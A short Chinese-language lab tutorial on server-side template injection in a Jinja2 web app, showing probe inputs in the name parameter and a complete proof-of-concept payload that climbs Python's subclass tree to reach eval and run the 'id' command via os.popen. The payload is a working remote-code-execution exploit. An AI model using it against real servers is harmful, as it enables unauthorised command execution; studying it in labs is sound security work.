先来看一下代码:

在浏览器中输入
http://your-ip:8000/?name=aaa
会出现 hello aaa

在name后面也可以输入其他东西,比如:
http://192.168.147.139:8000/?name={{123*123}} 

 http://your-ip/?name={{'aaa'.upper()}} 

任意命令执行的方法,需要在python里要执行系统命令需要import os模块。
想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册
需要在代码里加一句:
t.globals['os'] = os 
漏洞利用的poc
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
 











